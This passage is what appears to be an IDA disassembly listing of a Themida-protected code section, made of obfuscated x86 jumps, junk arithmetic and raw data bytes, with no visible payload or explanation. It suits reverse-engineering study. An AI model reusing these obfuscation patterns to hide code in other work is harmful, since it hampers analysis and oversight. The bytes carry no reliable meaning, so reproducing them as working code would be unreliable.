		jmp	loc_556B6A
; ---------------------------------------------------------------------------
		dw 82B2h
		dd 0FF4D10E9h, 4D828FFh, 8BB75349h, 0FE8FEF80h,	7EFC0C7h
		dd 80FCC780h, 0C78014CFh, 0F55FE9FCh, 6C81FFFFh, 4F810424h
		dd 74015091h, 44810424h, 4F810424h, 44815091h, 7C750424h
		dd 4481417Eh, 1C110424h, 348B3839h, 4C48324h, 83241C8Bh
		dd 895204C4h, 71E953E2h, 81FFFFA4h, 421EFBE6h, 4EC8124h
		dd 89000000h, 6857242Ch, 114E630Bh, 4EC835Fh, 680CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560585:				; CODE XREF: Themida_:00558761j
		xor	ecx, 2F3B1D88h
		add	ebp, ecx
		jmp	loc_557BAB
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C75E924h, 1580000h,	1C8B5FFEh, 4C48324h, 0A6211FBBh
		dd 0C009E90Bh, 0D6B8FFFFh, 0E95C3F9Bh, 0FFFFCF78h, 0D102E1C1h
		dd 9EE181E9h, 833F052Eh, 5249FFC1h, 0F97DFFBAh,	5AD1296Fh
		dd 0FF3070E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5605D5:				; CODE XREF: Themida_:00556C8Ej
		add	ebx, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_55793B
; ---------------------------------------------------------------------------
		db 83h
		dd 476804C1h, 89000010h, 0CDE9240Ch, 0FFFFFF5Ah, 81592434h
		dd 4C4h, 0D0296600h, 638A2D66h,	8124148Bh, 4C4h, 66576600h
		dd 66280D68h, 83243C8Bh, 816602C4h, 0E936DDC3h,	0FFFFAEE7h
dword_560620	dd 1EC2E9ADh, 8F540000h, 4832404h, 575A0424h, 5664D3BFh
					; DATA XREF: Themida_:00552C00o
		dd 81DFF72Eh, 283813F7h, 66B9514Eh, 0F7189359h,	0D1F741D1h
		dd 22C98149h, 813EB108h, 3455A0F1h, 59CF096Dh, 96685750h
		dd 5F25F551h, 3132E9h, 0F2E98100h, 0E901B503h, 0FFFFD99Fh
		dd 0B4240489h, 273EE9A5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56067A:				; CODE XREF: Themida_:00559B05j
		push	28EC6D5Fh
		pop	edx
		mov	esi, 1B7DB641h
		xor	esi, edx
		pop	edx
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56600C
; ---------------------------------------------------------------------------
		dd 4C481h, 2C810000h, 0DF19F424h, 319BE944h, 0FF58FFFFh
		dd 505A2434h, 405E089h,	83000000h, 48704C0h, 24248B24h
		dd 4EC81h, 0C890000h, 5377E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5606CE:				; CODE XREF: Themida_:0055A177j
		not	ebx
		jmp	loc_566C8A
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 9E90000h, 0F7FFFF51h, 0C7F581DDh, 0E97B5D63h, 0FFFF2BF4h
; ---------------------------------------------------------------------------


loc_5606EC:				; CODE XREF: Themida_:00557E7Dj
		xor	ebp, 6A4E133Eh
		jmp	loc_564EE7
; ---------------------------------------------------------------------------
		db 83h
		dd 8F042404h, 4812404h,	424h, 4BF6E900h, 5159FFFFh, 5C063CB9h
		dd 6F9AE928h, 1C890000h, 288A6824h, 3C890000h, 3A4EBF24h
		dd 0EFC1412Ch, 0B854E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56072E:				; CODE XREF: Themida_:0056412Aj
		pop	ebp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	35A8h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55E7C1
; ---------------------------------------------------------------------------
		db 30h,	0CFh, 59h
		dd 8003E7C0h, 4B2C68EFh, 4B04F828h, 0FF40CEE9h,	0C2815CFFh
		dd 4, 5202C283h, 42474FFh, 5A2434FFh, 4EC81h, 35E90000h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560783:				; CODE XREF: Themida_:00562E2Dj
		mov	[esp], ecx
		jmp	loc_558926
; ---------------------------------------------------------------------------


loc_56078B:				; CODE XREF: Themida_:00557B78j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5604E2
; ---------------------------------------------------------------------------


loc_560796:				; CODE XREF: Themida_:005620B0j
		pop	eax
		sub	esp, 4
		jmp	loc_55B7D3
; ---------------------------------------------------------------------------
		dw 0F281h
aXJjsR		db 'X}сjJИ<R',0
		align 2
		dw 74FFh
		dd 34FF0424h, 0C4835824h, 24048F04h, 6624248Bh,	0E9240C8Bh
		dd 0FFFF84C7h
dword_5607C8	dd 24048B66h, 0F2E95451h ; DATA	XREF: Themida_:00552A34o
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5607D3:				; CODE XREF: Themida_:00552DD8j
		or	edi, 1EE36630h
		inc	edi
		add	edi, 349929F3h
		shr	edi, 5
		add	edi, 0FE5C1ABBh
		add	ebp, edi
		jmp	loc_55CC81
; ---------------------------------------------------------------------------
		dd 477BE951h, 0C381FFFFh, 40929C31h, 244BE9h
		db 0
; ---------------------------------------------------------------------------


loc_560801:				; CODE XREF: Themida_:0055E9DCj
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6B237AA3h
		shr	ecx, 7
		neg	ecx
		push	eax
		mov	eax, 6EF607BEh
		jmp	loc_5613E1
; ---------------------------------------------------------------------------
aShi		db 'Sh┴-',0
		dd 24048900h, 0FF5807E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56082D:				; CODE XREF: Themida_:00555DDCj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	551h
		jmp	loc_5626C1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	20E904EBh, 54000029h, 4C6815Eh
		dd 57000000h, 39BE9h, 64B95100h, 81518F71h, 0FFFFFFC1h
		dd 0A5F181FFh, 296E9620h, 0DF0159CFh, 51C6BE56h, 3DE93F19h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56087F:				; CODE XREF: Themida_:00560473j
		add	edi, 2D81F20h
		jmp	loc_559ABE
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 9B1CB12Dh, 0C3015A75h, 69516858h, 72E90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56089F:				; CODE XREF: Themida_:0056134Dj
		add	esp, 4
		push	eax
		push	ecx
		jmp	loc_55D3EB
; ---------------------------------------------------------------------------
		dd 8105E1C1h, 9BA5E4C1h, 8BCB01E0h, 0F1E9240Ch,	5EFFFFB6h
		dd 5BD88966h, 0E9C20166h, 2B9Ch
; ---------------------------------------------------------------------------


loc_5608CC:				; CODE XREF: Themida_:00565CE3j
		pop	eax
		dec	edi
		xor	edi, 1BA561B3h
		mov	ebx, edi
		pop	edi
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_565787
; ---------------------------------------------------------------------------
		db 81h
		dd 0E630AFEBh, 81EB293Fh, 0E630AFC3h, 242C8B3Fh, 815F5457h
		dd 4C7h, 3B4FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560906:				; CODE XREF: Themida_:0056764Ej
		mov	ebx, esp
		jmp	loc_56535C
; ---------------------------------------------------------------------------
		db 35h,	0BEh, 58h
		dd 0ACE95760h, 5CFFFF7Dh, 0BA241489h, 13717C5Ah, 2642C281h
		dd 5DE9327Dh, 81FFFFF8h, 77E5E7C2h, 5AD1319Fh, 28E9CA89h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56093B:				; CODE XREF: Themida_:005624A8j
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 7
		push	47FEh
		mov	[esp], ebx
		push	ebp
		mov	ebp, 160E6FCBh
		add	dword ptr [esp+4], 59226A5Dh
		jmp	loc_55A9BA
; ---------------------------------------------------------------------------
aUh_f		db 'Uh.f',0             ; DATA XREF: Themida_:00552C40o
		dw 8900h
		dd 2FBE2434h, 56106D16h, 0FFEC40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560971:				; CODE XREF: Themida_:00561105j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_560478
; ---------------------------------------------------------------------------
aTxsus		db 'TXИ·S',0
		align 4


loc_56098C:				; CODE XREF: Themida_:00565C76j
		and	edi, 7E073348h
		sub	edi, 326B6D0h
		sub	edx, edi
		pop	edi
		or	edx, 3B722852h
		neg	edx
		xor	edx, 60005542h
		add	edx, 0C7A98B50h
		jmp	loc_55A1A2
; ---------------------------------------------------------------------------
aXbMo_wsm	db '[X│аmO.WИ╛^',0
		dd 5BD93100h, 0E981D9F7h, 0D4734086h, 0E959C829h, 4E9Eh
		dd 4C181h, 0C870000h, 0C3835C24h, 74FF5302h, 0E95B0424h
		dd 10C1h
; ---------------------------------------------------------------------------


loc_5609EC:				; CODE XREF: Themida_:0055FE14j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557B5D
; ---------------------------------------------------------------------------


loc_5609F9:				; CODE XREF: Themida_:00558227j
		pop	bx
		push	bx
		mov	bh, 33h
		and	dh, bh
		pop	bx
		jmp	loc_55C01E
; ---------------------------------------------------------------------------
		dd 47F5C381h, 0FB0153EAh, 68A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_560A15:				; CODE XREF: Themida_:005541ABj
		add	esp, 4
		mov	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_562AA2
; ---------------------------------------------------------------------------
		dd 1221B951h, 0E1C171A5h, 0E1814108h, 25535089h, 6E2EE181h
		dd 0F18162E7h, 7E2877DDh, 4BE9CD31h
		db 0F3h, 2 dup(0FFh)
byte_560A4B	db 0ADh			; DATA XREF: Themida_:00552BB8o
		dd 1AB1E9h
		db 0
; ---------------------------------------------------------------------------


loc_560A51:				; CODE XREF: Themida_:0055A3B9j
		pop	edx
		jmp	loc_564F29
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 81E38924h, 4C3h, 7D6BE900h, 5A54FFFFh, 4BB53h
		dd 0DA010000h, 4C2815Bh, 81000000h, 4ECh, 86EE900h, 0C3800000h
		dd 0B60F5ACBh, 8734FFC0h, 0FF24E5E9h, 243489FFh, 5EF3E9h
		dd 4B416800h, 4890000h,	8065B424h, 0EC80F4C4h, 1EF480FFh
		dd 70AA6866h, 241C8966h, 0DC2801B3h, 241C8B66h,	0C002C483h
		dd 0F48007ECh, 58E728AAh, 166FE9h, 9E95C00h, 0BF00002Ah
		dd 39F099A4h, 607168h, 24148900h, 58613CBAh, 81EAD126h
		dd 33B38C2h, 0E9D2F72Ah, 4FDAh
; ---------------------------------------------------------------------------


loc_560AF8:				; CODE XREF: Themida_:00557495j
		inc	edi
		and	edi, 77D551B2h
		jmp	loc_553A45
; ---------------------------------------------------------------------------
		dd 4E7C15Dh, 6E32F781h,	8CE90504h, 66000022h, 2404BB0Fh
		dd 21A5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B1E:				; CODE XREF: Themida_:0055BFA5j
		dec	esi
		add	esi, 77BF5D59h
		xor	esi, 0BEDBC078h
		mov	edi, esi
		pop	esi
		dec	edi
		not	edi
		or	edi, 28011FBAh
		xor	edi, 0FDABBFBAh
		sub	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55E5F1
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8904EC83h, 0CFE9242Ch, 8FFFFF7Fh,	0A8E92404h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B67:				; CODE XREF: Themida_:00564F49j
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55375F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0B6h
		dd 816E563Ch, 466EFCEh,	81E6D176h, 704AB1C6h, 5EF3218Ch
		dd 287FEB81h, 0DE295018h, 4886E95Bh, 47470000h,	8102EFC1h
		dd 49DD77EFh, 0E9FA0127h, 683Ch, 0C781CF01h, 28E4464Dh
		dd 0FFDD05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560BBD:				; CODE XREF: Themida_:0056335Aj
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FA66712Bh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 2
		jmp	loc_559903
; ---------------------------------------------------------------------------
		dd 4BFh, 0E9FE2900h, 1D3Ah, 51525954h, 0CC19D7B9h, 1BC18136h
		dd 520AAF7Dh, 803E1ABAh, 79EA8159h, 87174F52h, 87DBF7DAh
		dd 0FD01E9DAh, 0C683FFFFh, 0E0E95604h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C33:				; CODE XREF: Themida_:00558082j
		push	ebx
		mov	ebx, 0DFE195DEh
		add	ebp, 70A65964h
		add	ebp, ebx
		sub	ebp, 70A65964h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5548C7
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 7
		dd 1C281h, 0EA810000h, 1, 0E384F281h, 0E9511921h, 0FFFF8808h
; ---------------------------------------------------------------------------


loc_560C70:				; CODE XREF: Themida_:00565D18j
		xchg	edi, ebx
		pop	edi
		jmp	loc_55DCC3
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 7F27E900h
		db 2 dup(0FFh)
word_560C86	dw 48Bh			; DATA XREF: Themida_:00552AF4o
aHpx		db '$hpx',0
		align 2
		dw 489h
		dd 4F6CE924h, 0FF5FFFFFh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55BB79
; ---------------------------------------------------------------------------
dword_560CB0	dd 0E92434FFh, 0FFFF8F7Bh ; DATA XREF: Themida_:00552B50o
; ---------------------------------------------------------------------------


loc_560CB8:				; CODE XREF: Themida_:005564DFj
		mov	edi, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_55AD81
; ---------------------------------------------------------------------------


loc_560CC3:				; CODE XREF: Themida_:00553245j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_555984
; ---------------------------------------------------------------------------
		dw 0D7BEh
		dd 8145092Ah, 3A1530C6h, 4EC8335h, 0B8240489h, 7A814F3h
		dd 8158C631h, 0DE3F9BEEh, 6E6C141h, 8103EEC1h, 3DAEE6F6h
		dd 0E9F2290Bh, 273Eh, 85AD128h,	685159CEh, 4E9Ah, 0FF22FDE9h
		dd 241C89FFh, 42474FFh,	24048F5Bh, 6408685Ch, 4890000h
		dd 8685524h, 8B79D33Eh,	0C483242Ch, 0ECF58104h,	68499433h
		dd 4D7Ch, 0E9242C89h, 0FFFF9654h, 8104C483h, 7FBFBDC3h
		dd 19E6E94Ch, 0D7F70000h, 0EB87FB87h, 2414F755h, 0E9EB875Dh
		dd 0FFFF9536h, 54243C89h, 0FF2CB5E9h, 51CA01FFh, 0FFDCB8E9h
		dd 0E9F101FFh, 0FFFFB6C9h, 7325B850h, 0BB5311C5h, 51BA0BC9h
		dd 6E8FEB81h, 0EB8164E0h, 16FC264Bh, 7AE9DBF7h,	0BEFFFF70h
		dd 775733C1h, 15EF729h,	0C1C781EFh, 81775733h, 4F5E68EFh
		dd 845DE95Ch, 0E381FFFFh, 405656B8h, 48DFC381h,	0CE90D75h
		dd 0E9FFFF40h, 0FFFF1EF7h, 1B71BB53h, 0F3813F8Fh, 49D96427h
		dd 575BD929h, 87A5A7BFh, 5FF93199h, 50BBC281h, 7EE90B2Eh
		dd 83FFFFFFh, 0EC8104C4h, 4, 0BD242C89h, 414A0906h, 0C583EDD1h
		dd 406CE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560E0A:				; CODE XREF: Themida_:0055E531j
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
a4dX		db '4╓(цX',0
		db 0E3h, 0E9h, 0DEh
		dd 81FFFF9Ch, 0BB351FF1h, 81D1F765h, 0F91FE6F1h, 59CF015Bh
		dd 0EF81D701h, 156E75C5h, 0FF264FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E39:				; CODE XREF: Themida_:0055C5B2j
		xchg	ebx, [esp]
		jmp	loc_557876
; ---------------------------------------------------------------------------
aIuh		db '┴Цh}<',0
		align 4
		dd 0FF979FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E4D:				; CODE XREF: Themida_:0055AC97j
		shr	edi, 2
		push	edx
		mov	edx, 709B4416h
		or	edi, edx
		pop	edx
		shr	edi, 4
		add	edi, 2605A356h
		sub	ebx, edi
		jmp	loc_554136
; ---------------------------------------------------------------------------


loc_560E69:				; CODE XREF: Themida_:0056623Dj
		push	ebx
		push	ecx
		mov	ch, 4
		push	eax
		jmp	loc_55AF8F
; ---------------------------------------------------------------------------
		db 29h
		dd 24048BC2h, 0FF5F5AE9h, 81E689FFh, 4C6h, 6BA5200h, 0E93F4835h
		dd 0FFFF9E4Ah
; ---------------------------------------------------------------------------


loc_560E90:				; CODE XREF: Themida_:00566EFBj
		add	esp, 4
		sub	ecx, 2FC564C8h
		add	ecx, edi
		jmp	loc_55AFBF
; ---------------------------------------------------------------------------
		dd 0D0E39BBh, 0E9555768h, 0FFFF9797h
; ---------------------------------------------------------------------------


loc_560EAC:				; CODE XREF: Themida_:005561FCj
		and	ah, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_562575
; ---------------------------------------------------------------------------
		db 9, 0EBh, 8Bh
		dd 81E9242Ch, 0B9FFFFFEh, 4, 0FF2DA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560ECD:				; CODE XREF: Themida_:00561D71j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		push	edx
		mov	edx, 53BF26CFh
		jmp	loc_55749A
; ---------------------------------------------------------------------------


loc_560EE1:				; CODE XREF: Themida_:005669C3j
		sub	eax, 0A1A03E5h
		jmp	loc_55ED03
; ---------------------------------------------------------------------------
		db 0C1h
		dd 2C2D04E0h, 5BDAEE4h,	5DA77152h, 522DF801h, 815DA771h
		dd 4ECh, 241C8900h, 8F367FBBh, 4EBC169h, 0EC83D387h, 24148904h
		dd 0E92414F7h, 24DDh, 4C381h, 0EB810000h, 4, 0E9241C87h
		dd 0FFFFF9E3h
dword_560F34	dd 9D1C77FFh, 19665866h, 0E99C2404h, 965h, 0EBD0C3FEh
					; DATA XREF: Themida_:00552A10o
		dd 1CB65266h, 8B66F308h, 0C4832414h, 0B0506602h, 66C30058h
		dd 0E9B62C58h, 0FFFF2BD3h, 0FA2586BEh, 0C0E6810Fh, 8104A64Fh
		dd 7B3B6DCEh, 0C6C68100h, 11CD7F2h, 0BB7FE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F82:				; CODE XREF: Themida_:0055E959j
		not	eax
		jmp	loc_557110
; ---------------------------------------------------------------------------
		db 5, 44h, 0Bh
		dd 0F00125D7h, 0D70B442Dh, 2434FF25h, 0FFD10FE9h, 5EF201FFh
		dd 555AD101h, 0C393E956h, 0CD21FFFFh, 0FF5631E9h, 240481FFh
		dd 4, 8B2434FFh, 0C4812434h, 4,	0FF9BA6E9h, 58C689FFh
		dd 0FF2EB0E9h, 240C8BFFh, 0FF7AF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560FD9:				; CODE XREF: Themida_:0055E1A1j
		add	ebp, 4
		jmp	loc_56560D
; ---------------------------------------------------------------------------


loc_560FE4:				; CODE XREF: Themida_:005673BEj
		add	bl, 66h
		push	edx
		mov	dl, 0D3h
		jmp	loc_564826
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 77E95D04h, 0B6FFFF3Ah, 0E9F3282Ah, 0FFFF5DDEh
		dd 0C547C781h, 9DE9A23Fh, 81000039h, 4C5h, 0F1D6800h, 4890000h
		dd 0B4BB5324h, 0E92C8C66h, 1CAAh, 4C481h, 0A7E90000h, 1FFFF6Ah
		dd 68575EF0h, 7A53h, 68241489h,	4CF86C35h, 8124148Bh, 4C4h
		dd 0D00CE900h, 0F75EFFFFh, 9EF381DBh, 435FEF6Fh, 6857DBF7h
		dd 9CC9B2E3h, 5FFB015Fh, 0E95BDF29h, 0FFFFBF06h, 0E92434FFh
		dd 0FFFFC390h
; ---------------------------------------------------------------------------


loc_561078:				; CODE XREF: Themida_:0055AED5j
		pop	edi
		xor	esi, ebx
		jmp	loc_562446
; ---------------------------------------------------------------------------
		dd 50EDB450h, 0FFA427E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561089:				; CODE XREF: Themida_:00556438j
		add	esp, 4
		add	edx, eax
		push	esi
		push	ecx
		push	7DE574F2h
		pop	ecx
		jmp	loc_55C1B9
; ---------------------------------------------------------------------------
		db 66h
		dd 5BF4C181h, 81664966h, 66F8A7E9h, 40E9C801h, 81FFFFF5h
		dd 0F979D7EFh, 0EA815954h, 2FFC5B6Dh, 0FFB4A3E9h, 4C781FFh
		dd 0E9000000h, 0FFFF88F4h
; ---------------------------------------------------------------------------


loc_5610CC:				; CODE XREF: Themida_:0055AC43j
		pop	ebx
		add	bl, 0Ch
		push	ax
		push	edx
		mov	dl, 0D8h
		shr	dl, 7
		dec	dl
		or	dl, 55h
		sub	dl, 0D3h
		shl	dl, 6
		xor	dl, 53h
		push	ecx
		mov	ch, dl
		mov	al, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		pop	ax
		push	ecx
		push	ebx
		mov	bh, 52h
		jmp	loc_556EB6
; ---------------------------------------------------------------------------


loc_5610FF:				; CODE XREF: Themida_:00553AB2j
		add	esp, 4
		jmp	loc_560971
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 60Ch
; ---------------------------------------------------------------------------


loc_561110:				; CODE XREF: Themida_:0055DEE1j
		mov	[esp], esi
		jmp	loc_556FF9
; ---------------------------------------------------------------------------
		dd 68h,	24342900h, 0E924348Bh, 30A5h, 106DBB8h,	0C602E937h
		dd 1C8BFFFFh, 4C48324h,	541C68h, 24048900h, 468h, 94E95800h
		dd 68000041h, 2F7927C0h, 59CD2959h, 4EC8156h, 89000000h
		dd 0A5BA2414h, 0BE609119h, 0AB65F9C6h, 315AD601h, 6CE95EF5h
		dd 0B9FFFFF5h, 0A115953h, 0E905E1C1h, 6B0h, 4BFh, 5FFA0100h
		dd 8B241487h, 0EBD12424h, 341CCB81h, 0C3830C0Ah, 8FAFE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56119E:				; CODE XREF: Themida_:0055727Aj
		shr	eax, 3
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	6539212Eh
		jmp	loc_563CAD
; ---------------------------------------------------------------------------
		dw 47BDh
		dd 8113BB0Dh, 0FFFFFFC5h, 35F581FFh, 0E95B3D62h, 0FFFF93D4h
		dd 2737B951h, 0CE014C6Fh, 242C8B59h, 81E78957h,	4C7h, 4BE5600h
		dd 1000000h, 8F34E9F7h,	8159FFFFh, 4C4h, 243C8700h, 0FF932CE9h
		dd 4E6C1FFh, 518068h, 243C8900h, 17BBB850h, 25E97AE0h
		dd 8B00005Ah, 0FFE92424h, 81FFFF77h, 0BA20DBEEh, 0E9D62967h
		dd 1DD0h
; ---------------------------------------------------------------------------


loc_561224:				; CODE XREF: Themida_:0055EA6Fj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5615EA
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF5602h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55331B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 1Ah
		dd 0F7162B62h, 60F2E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561252:				; CODE XREF: Themida_:0055B2B3j
		mov	ebp, esp
		jmp	loc_552EB1
; ---------------------------------------------------------------------------
		db 5Bh,	4Bh, 81h
		dd 36F2E4C3h, 0E9D889EDh, 0FFFF439Dh
; ---------------------------------------------------------------------------


loc_561268:				; CODE XREF: Themida_:0055771Fj
		pop	edx
		push	edi
		jmp	loc_55A3AA
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF552DCEh, 29B85026h, 0E9726462h, 0FFFFC290h
; ---------------------------------------------------------------------------


loc_561280:				; CODE XREF: Themida_:005545BFj
		push	edi
		mov	edi, 0F29FBFDAh
		jmp	loc_55FC3D
; ---------------------------------------------------------------------------


loc_56128B:				; CODE XREF: Themida_:00562998j
		sub	ecx, 72205C81h
		add	ecx, 3D377AF5h
		add	ecx, 411869B0h
		jmp	loc_553449
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 83000000h,	3C8904ECh, 0EC685124h, 0E93F990Ch
		dd 3796h, 0B8C2815Dh, 81275B59h, 4ECh, 0C83E900h, 0C15F0000h
		dd 12E903EFh, 8BFFFF3Ah, 0C483241Ch, 0A657E904h, 0EC83FFFFh
		dd 24248904h, 4240483h,	0E924048Fh, 0FFFF6D00h,	0FF241489h
		dd 5A042474h, 0E924048Fh, 0FFFFF461h
; ---------------------------------------------------------------------------


loc_561304:				; CODE XREF: Themida_:0055B502j
		pop	eax
		dec	eax
		jmp	loc_561956
; ---------------------------------------------------------------------------
		db 68h
		dd 0F66h, 0FFF401E9h, 2C383FFh,	5C241C87h, 0FF5325E9h
		dd 5BDF29FFh, 45E9F901h, 56FFFFFDh, 42474FFh, 24048F5Eh
		dd 242C895Ch, 392FE951h, 0E9590000h, 0FFFFA8CFh
; ---------------------------------------------------------------------------


loc_561344:				; CODE XREF: Themida_:00563B72j
		pop	ecx
		jmp	loc_561464
; ---------------------------------------------------------------------------


loc_56134A:				; CODE XREF: Themida_:005672ACj
		mov	esi, [esp]
		jmp	loc_56089F
; ---------------------------------------------------------------------------


loc_561352:				; CODE XREF: Themida_:005550CDj
		add	esp, 4
		push	ebx
		mov	ebx, 7BA620E1h
		push	edi
		jmp	loc_55E306
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E9240C31h, 282Ah, 34FFF001h, 2434FF24h, 40C2E95Eh
		dd 5F210000h, 241C8B1Ch, 0E904C483h, 0FFFF3B57h, 815B5453h
		dd 4C3h, 148AE900h, 4330000h, 0F1815C24h, 4EA40EE5h, 0FFFFE981h
		dd 0FDE9FFFFh, 5FFFF5Fh, 2E430A48h, 482DD829h, 0E92E430Ah
		dd 0FFFFB95Ah, 42EFE95Bh, 0FCE90000h, 81FFFF18h, 4C4h
		dd 0EB816600h, 1667B16h, 0C38166C3h, 51667B16h,	613DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5613E1:				; CODE XREF: Themida_:0056081Aj
		sub	eax, 4AFD6F32h
		sub	eax, 0D8D9A95Fh
		sub	ecx, eax
		pop	eax
		xor	ebx, ecx
		pop	ecx
		add	ecx, ebx
		jmp	loc_555CA3
; ---------------------------------------------------------------------------


loc_5613F8:				; CODE XREF: Themida_:00563010j
		mov	eax, esp
		push	edx
		jmp	loc_5550D2
; ---------------------------------------------------------------------------
		dd 0E9E78957h, 0BF1h, 596A89B9h, 0B4F18175h, 812B4809h
		dd 0B25EEEE1h, 5F1810Dh, 0E9198536h, 6076h
dword_561424	dd 0E92434FFh, 0FFFFEC3Eh, 55DFF747h, 9E18EEBDh, 0F7DD875Eh
					; DATA XREF: Themida_:00552C60o
		dd 45DD87D3h, 8104EDC1h, 0E762ACDh, 73ED8133h, 81DD1B25h
		dd 3767AFEFh, 0E9EF012Bh, 0FFFF7C62h, 7718ED25h, 0E9D8F770h
		dd 0FFFF86DEh
; ---------------------------------------------------------------------------


loc_561464:				; CODE XREF: Themida_:00561345j
		sub	ecx, 55A04277h
		pop	edi
		jmp	loc_55B0F9
; ---------------------------------------------------------------------------
		dd 0CAE9CE21h, 0BFFFFF59h, 6AAD539Eh, 0FFC463E9h, 0C4F281FFh
		dd 0E9020006h, 1BA7h, 0A0E9C501h, 0BFFFFF8Fh, 0F63045Bh
		dd 11A2BB53h, 0DF215C8Eh, 6DBE565Bh, 0C13A8169h, 58E908EEh
		dd 0FFFFFFCAh, 348B2434h, 4C48124h, 57000000h, 0FF8200E9h
		dd 42F181FFh, 8150A457h, 0C214BAC1h, 0BAC98161h, 81445F26h
		dd 4ECh, 24048900h, 370CBDB8h, 8E0C10Fh, 2D08E0C1h, 0B5ABC986h
		dd 9BE9C131h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5614F3:				; CODE XREF: Themida_:00565AE0j
		push	esi
		mov	esi, 7C877C42h
		dec	esi
		add	esi, 1414461Eh
		sub	esi, 0B60D6137h
		xor	edi, esi
		pop	esi
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	2
		jmp	loc_55A9E2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31242C33h, 98E9242Ch
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56152B:				; CODE XREF: Themida_:0055E755j
		push	esi
		mov	esi, 615801E0h
		sub	edx, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_55B74E
; ---------------------------------------------------------------------------
